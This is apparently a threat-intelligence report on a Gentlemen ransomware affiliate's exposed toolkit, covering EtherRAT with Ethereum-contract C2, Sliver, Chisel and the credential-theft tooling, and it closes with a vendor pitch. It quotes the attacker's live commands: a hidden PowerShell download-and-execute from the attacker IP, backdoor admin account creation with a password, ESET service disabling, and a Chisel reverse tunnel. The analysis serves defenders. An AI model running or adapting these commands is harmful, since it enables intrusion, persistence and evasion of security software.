The Gentlemen Affiliate Deploys EtherRAT Across Windows Networks Using Ethereum Smart Contract C2

An exposed open directory at 193.233.202[.]17 caught an operator tied to The Gentlemen ransomware mid-intrusion, setting up a Windows domain for persistent access, credential theft, and lateral movement. The files left behind trace the full operation, from privileged account creation and LSASS dumping to security-product tampering and reverse tunnels.

Lateral movement ran through remote scheduled tasks that downloaded and executed MSI payloads. Those installed EtherRAT, a persistent implant that pulls its C2 domains from an Ethereum smart contract instead of hardcoding them, while Sliver and Go reverse-shell binaries gave the operator additional command channels.

Huntress had already flagged 193.233.202[.]17 and 77.110.122[.]137 as proxy endpoints in their May 21st write-up on The Gentlemen's defense evasion TTPs. Both IPs showed up as open directories on the Hunt.io platform through the IOC Hunter feature. On June 16th, Huntress also published a ClickFix campaign that deployed EtherRAT. That activity was left unattributed, but we assess it likely ties back to the same The Gentlemen cluster.

Key Observations

• The directory held 82 recovered files totaling 145 MB, a full operator toolkit spanning 37 Windows executables, 22 PowerShell scripts, 9 batch files, 6 scheduled-task XMLs, and the EtherRAT MSI installer.

• Deployment leaned on LOLBAS: certutil.exe fetched the MSI to remote hosts and msiexec.exe installed it silently, with the tasks masquerading under names like WinSvcUpdate2 and WindowsUpdSvc.

• Because EtherRAT reads its C2 from an Ethereum contract, every domain rotation is written permanently to the blockchain. That convenience for the operator lets defenders reconstruct the full historical C2 set, five domains in this case.

• EtherRAT has no fixed command set. Any C2 response over ten characters is run as JavaScript inside a Node.js runtime, giving the operator arbitrary code execution and letting them extend capabilities without replacing the implant. The custom X-Bot-Server header is a usable detection point.

• Pivoting on the recovered Go binaries surfaced two more controllers, 146.103.127[.]44 and 77.110.126[.]46, on the same ASN (AS203273) as the staging server.

• A second EtherRAT cluster on 77.110.122[.]58 used the same Ethereum contract and a near-identical MSI (cons_1.0.1.msi), and a Gambit Security directory on 38.110.228[.]33 held artifacts we assess link to a USA-based The Gentlemen victim.

• Beyond the C2 layers, the toolkit covered credential theft (Mimikatz, registry-hive and LSASS dumping), tunneling (Chisel, Ligolo-ng), and Potato-family privilege escalation, showing an operator equipped for the full path to domain-wide ransomware.

Campaign Overview

The exposed server on 193.233.202[.]17 held 82 locally recovered files totaling 145 MB. The set includes 37 Windows executables, 22 PowerShell scripts, nine batch files, six scheduled-task XML files, one MSI package, a large raw shellcode blob, and public post-exploitation tools.

Files recovered suggest the threat actor was attempting to target Windows networks to:

• establish or restore privileged access

• collect credentials and Active Directory data

• deploy EtherRAT across the domain

• preserve several independent command channels

Artifacts within this open-directory could be linked to an American victim, which was disclosed by The Gentlemen on the 9th May. The secondary directory, 77.110.122[.]137, contained artifacts surrounding a Linux-based intrusion, which is not in the scope of this blog:

Scheduled Tasks as the Deployment Layer

Within the open-directory was the Scheduled Task configuration task39.xml. This is configured to run under the SYSTEM context, dynamically downloading and running a PowerShell script:

powershell -ep bypass -w hidden -NonInteractive -c iex((New-Object Net.WebClient).DownloadString('hxxp://193.233.202[.]17:42718/task_39.ps1'))

                
Copy

This script creates a local administrator support2 with the credential Supp0rt2@2026!. This user is added to the Administrators and Remote Desktop Users groups, with a later attempt to add to the Domain Administrators group.

net user support2 'Supp0rt2@2026!' /add
net localgroup Administrators support2 /add
net localgroup 'Remote Desktop Users' support2 /add
net group 'Domain Admins' support2 /add /domain

                
Copy

An attempt at Defensive Evasion is achieved by iterating through ESET related services and disabling using sc.exe:

$esetServices = @('ekrn','EraAgentSvc','EhttpSrv','EESvc','eguiSvc','epfw','epfwwfp','eamonm')
foreach ($svc in $esetServices) {
    try { & sc.exe stop $svc 2>&1 | Out-Null; & sc.exe config $svc start= disabled 2>&1 | Out-Null } catch {}
}

                
Copy

To establish remote network access, a Chisel binary is staged to C:\ProgramData\chisel.exe and configured to call back over port 9001.

To perform credential theft, the actor leveraged reg.exe to export registry hives to the C:\ProgramData directory. These were exfiltrated using the native PowerShell HTTP client, uploading to the C2 server with a PUT operation.

To achieve Command & Control, alongside the deployment of Chisel, the affiliate deployed Go-compiled reverse-shell binaries and a raw PowerShell reverse-shell implementation.

Discovery, Credential Theft & Privilege Escalation

Within the open-directory, multiple scripts were used to perform discovery and credential theft. acl_enum.ps1 impersonates the token from an interactive Windows session, queries Active Directory, enumerates users, computers and groups, and requests the legacy LAPS attribute ms-Mcs-AdmPwd.

ld.ps1 invokes MiniDumpWriteDump against LSASS. task_39.ps1 exports three registry hives and transfers them off the host.

Several privilege-escalation scripts were observed. gp_reflect.ps1 loads a GodPotato payload in memory and changes LocalAccountTokenFilterPolicy. fix_uac.bat disables UAC and changes the same policy. ms16032.ps1 contains an incomplete hand-built CVE-2016-0099 path and a named-pipe fallback.

Mimikatz binaries and local-privilege escalation exploits were observed within the threat actors toolkit:

• mimi64.exe - Mimikatz

• jp.exe - JuicyPotato x64 exploit

• ps64.exe - PrintSpoofer x64 exploit

• svcload.exe - PrintSpoofer x64 variant

• gp.exe - GodPotato exploit

• svcefs.exe - EFSRPC Potato-style privilege escalation

Lateral Movement & C2

The remote deployment scripts attempted to target multiple internal hosts via hardcoded private IP addresses. They used administrative shares, copied payloads using xcopy, and registered scheduled tasks using schtasks or services under names such as WindowsUpdSvc*.

The binary wsu.exe was not recovered for analysis.

deploy2.cmd uses a batch for loop to iterate through local IP addresses, creating remote Scheduled Tasks named WinSvcUpdate2. The tasks are configured to use the LOLBAS certutil.exe to dynamically download a msi payload cons_c1.0.1.msi from the staging IP address to the file path C:\Windows\Temp\cu.msi.

Another script, deploy.cmd, was also observed. It attempted to perform essentially the same remote deployment activity, although with minor implementation differences, including attempting to copy the MSI over SMB and using "wmic process call create" to run with certutil.exe as a fallback download method. This script attempted to stage the MSI file to C:\Windows\Temp\cons_update.msi.

The payload cu.msi is executed using LOLBAS msiexec.exe, dropping the below files:

• %LOCALAPPDATA%\MicrosoftSltt\jEdb5ROX.cmd - Node.js bootstrapper

• %LOCALAPPDATA%\MicrosoftSltt\YUGKag9mvNKWylo.bin - JS decoder & Run key persistence

• %LOCALAPPDATA%\MicrosoftSltt\jlfYWzAkN99jpGu.xml - XOR encrypted Node backdoor

If Node.js is not installed, the bootstrapper will download and install using the below commands:

curl.exe -sLo "%TEMP%\7lNpmAcuEk.zip" "https://nodejs.org/dist/v18.17.0/node-v18.17.0-win-x64.zip"
tar.exe -xf "%TEMP%\7lNpmAcuEk.zip" -C "%LOCALAPPDATA%\MicrosoftSltt"
ren "%LOCALAPPDATA%\MicrosoftSltt\node-v18.17.0-win-x64" jfpcXP
%LOCALAPPDATA%\MicrosoftSltt\jfpcXP\node.exe

                
Copy

With Node.js installed, YUGKag9mvNKWylo.bin is executed using the interpreter. This will decrypt the backdoor jlfYWzAkN99jpGu.xml, using a repeating XOR key and position dependent XOR opertation writing to the below path:

%LOCALAPPDATA%\MicrosoftSltt\BDQbS2lZ6u.bak

                
Copy

The initial Node.js .bin execution will also establish persistence via the creation of a Run key entry, WindowsHost, that will run the decoded payload via LOLBAS conhost.exe:

conhost.exe --headless ...\node.exe "%LOCALAPPDATA%\MicrosoftSltt\BDQbS2lZ6u.bak"

                
Copy

The decoded payload BDQbS2lZ6u.bak is the decrypted EtherRAT payload. EtherRAT leverages an Ethereum smart contract as a C2 resolver. Hardcoded within the sample are Ethereum contract address & function selectors:

• Ethereum contract: 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831

• Lookup key: 0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893

• Call function: 0x7d434425

The below Ethereum RPC endpoints are hardcoded within the EtherRAT sample, providing redundancy by using multiple methods to achieve C2:

https://mainnet.gateway.tenderly.co
https://rpc.flashbots.net/fast
https://rpc.mevblocker.io
https://eth-mainnet.public.blastapi.io
https://ethereum-rpc.publicnode.com
https://eth.drpc.org
https://eth.merkle.io

                
Copy

Using smart contracts to host C2 domains allows the threat actor to easily rotate infrastructure when needed, without modifying the initial implant. This comes with a small downside, these changes leave permanent markers on the blockchain - which can allow researchers to fully reconstruct all historical C2 infrastructure used by a particular sample.

This same Ethereum contract was used to resolve C2 domains for an EtherRAT sample discussed in the Huntress blog discussing Potekmin Loader, RMMProject & EtherRAT.

EtherRAT

Once EtherRAT has retrieved the active C2 URL from the Ethereum contract, it begins polling the server for commands. Each infected host is assigned a unique bot ID, normally generated using crypto.randomUUID(). This bot ID is separate from the hardcoded build ID, which identifies the version or campaign associated with the sample:

Build ID: ff8fee46-5d21-4437-af5b-337434288cae

                
Copy

The malware attempts to disguise its polling traffic by generating random URL paths that resemble requests for ordinary static files. The request follows the below structure:

GET <C2>/api/<random-8-hex>/<bot-id>/<random-8-hex>.<extension>?<parameter>=<build-id>
X-Bot-Server: <resolved-C2>

                
Copy

Random file-extensions and parameters are chosen for C2 requests:

• Extension: "png", "jpg", "gif", "css", "ico", "webp"

• Parameter: "id", "token", "key", "b", "q", "s", "v"

The custom HTTP header X-Bot-Server is indicative of EtherRAT. This has previously been reported by Sysdig with EtherRAT being deployed via React2Shell, which they assess may be linked to DPRK malware. Hunt.io has not verified these claims.

The C2 response does not contain a conventional command structure. Any response longer than ten characters is treated as JavaScript source code and passed to a newly constructed asynchronous function. The returned task is provided with access to the following Node.js objects:

require
process
Buffer
console
__dirname
__filename
log

                
Copy

This provides the operator with arbitrary JavaScript execution in the context of the compromised user. Tasks can access the filesystem, start new processes, communicate over the network or retrieve additional payloads. The absence of a fixed command set also means that EtherRAT's capabilities can be extended without replacing the main implant.

Each C2 request can remain open for up to 120 seconds while waiting for a task. After a completed request, EtherRAT waits approximately 500 milliseconds before polling again. Failed connections or unsuccessful HTTP responses introduce an additional five-second delay. Separately, the malware checks the Ethereum contract approximately every five minutes to determine whether the operator has published a new C2 address.

Logging and host identification

EtherRAT records operational activity in the following file:

%APPDATA%\svchost.log

                
Copy

Logging is enabled by default and can include the bot ID, build ID, selected installation directory, blockchain queries, resolved C2 URL, polling requests, received task sizes and execution errors. Logging can subsequently be disabled through a Boolean value stored in the malware's local configuration.

EtherRAT attempts to preserve the same bot identity between executions. It first checks its encoded configuration, followed by the file:

%APPDATA%\.node_bot_id

                
Copy

If no existing identifier is recovered, a new UUID is generated. The local configuration is stored as Base64-encoded JSON inside an extensionless file located within a deterministic per-host directory. This configuration stores the bot ID alongside settings controlling logging and implant replacement.

Layered Command & Control (C2)

Alongside the network-wide deployment of EtherRAT, the actor also leveraged Sliver and custom Go-compiled binaries to achieve Command & Control (C2).

The PowerShell script inject_sliver.ps1 dynamically downloads shellcode from the URL hXXp://193.233.202[.]17:8088/slv_beacon_sc.bin. This is executed within memory using the Win32 APIs VirtualAlloc, VirtualProtect, CreateThread & WaitForSingleObject.

This shellcode can be linked to Sliver, with the below configuration:

Additionally, multiple Go-compiled binaries were observed on the open-directory. One of these, pb39_new.exe was staged to C:\ProgramData\svchost_upd.exe via the previously discussed task_39.ps1 PowerShell script. This acts as a simple reverse-shell, calling back to the endpoint 193.233.202[.]17:18743.

Furthermore, 6 Go-binaries were observed to contain multiple concurrent reverse-shell handlers:

The IP address 193.233.202[.]17, as observed in other campaigns, was used as a Chisel SOCKS proxy endpoint. Further to the task_39.ps1 script, run_chisel.bat used a renamed Chisel binary csvc.exe staged from C:\ProgramData, configured to call back to the port 22673:

C:\ProgramData\csvc.exe client 193.233.202.17:22673 R:socks

                
Copy

Across the campaign, the IP address 193.233.202[.]17 was observed hardcoded within PowerShell and batch scripts as a staging URL. Using the Code Search capability from AttackCapture™ we can filter through the noise to find all relevant tooling that downloads payloads from this IP:

Clustering Command & Control Infrastructure

This investigation started from an open-directory located on the IP address 193.233.202[.]17, linked to The Gentlemen via previous Huntress report. Using the Hunt.io platform we can see this IP has been is linked to Sliver malware on port 31337, with AttackCapture entries exposing the threat actors infrastructure:

193.233.202[.]17 is currently routed from AS203273, NetCrafters OU. The prefix has a recent historical association with AEZA's AS210644, and AEZA's AS216246 is currently one of AS203273's upstream providers.

Drilling into 193.233.202[.]17 confirms the link: the platform flags active Sliver malware, two AttackCapture open-directory detections, and a possible tie to The Gentlemen.

The contents of the open-directory contained victim artifacts that could corroborate attribution towards The Gentlemen. More interestingly, we observed additional payloads staged - namely an MSI file cons_c1.0.1.msi that installed EtherRAT, Sliver shellcode, and multiple Go binaries - which unearthed additional linked C2 infrastructure.

The Go binaries revealed two additional IP addresses, 146.103.127[.]44 and 77.110.126[.]46. 77.110.126[.]46 shares the open directory's ASN, AS203273, while 146.103.127[.]44 is hosted on AS216071.

Notably, this ASN was also observed in a secondary Huntress blog, where the same EtherRAT cluster (identical smart contract) was staged via a similarly named MSI payload cons_1.0.1.msi on the IP address 77.110.122[.]58. Hunt.io reveals this IP address has also been linked to Sliver C2 over port 31337:

Clustering infrastructure reveals frequently overlapping ASNs; across both attack, staging, Sliver and EtherRAT C2 IP addresses:

Gambit Security highlighted the IP address 38.110.228[.]33, which was found within the same /24 range as two EtherRAT IP addresses 38.110.228[.]43 and 38.110.228[.]125. Hunt.io telemetry suggests these IP addresses can be linked to the UltaHost VPS provider. Notably, this third IP was observed exposing an open-directory on the Hunt.io platform, archived on 24th June:

Artefacts within the above directory disclosed by Gambit Security could be linked to a USA-based The Gentlemen victim that was disclosed one month later, on the 23rd July. This ultimately supports our assessment that the EtherRAT C2s were linked to The Gentlemen group, with clear clustering across a specific IP range on AS174.

The techniques observed across this intrusion map to the following MITRE ATT&CK framework.

MITRE ATT&CK Mapping

IOCs and Observables

Table 1: Network infrastructure

Table 2: EtherRAT historical C2 domains

Table 3: Key file hashes - SHA-256

Table 4: Host Artifacts

Conclusion

The intrusion used privileged credentials, administrative shares, WMI and remote scheduled tasks to deploy EtherRAT across the Windows network. EtherRAT established Run-key persistence, used Node.js to execute its backdoor and retrieved rotating C2 domains from an Ethereum smart contract.

The actor also deployed Sliver, custom Go reverse shells, Chisel, Ligolo-ng and privilege-escalation tooling. Combined with the shared EtherRAT configuration and infrastructure, the recovered evidence links this activity to The Gentlemen and demonstrates a coordinated operation designed to maintain persistent, redundant access to compromised systems.

→ This entire cluster came apart from a single misconfigured directory. The same workflows that recovered the operator's files and mapped their C2 are what let defenders find this infrastructure before it lands. Put Hunt.io to work on your own investigations.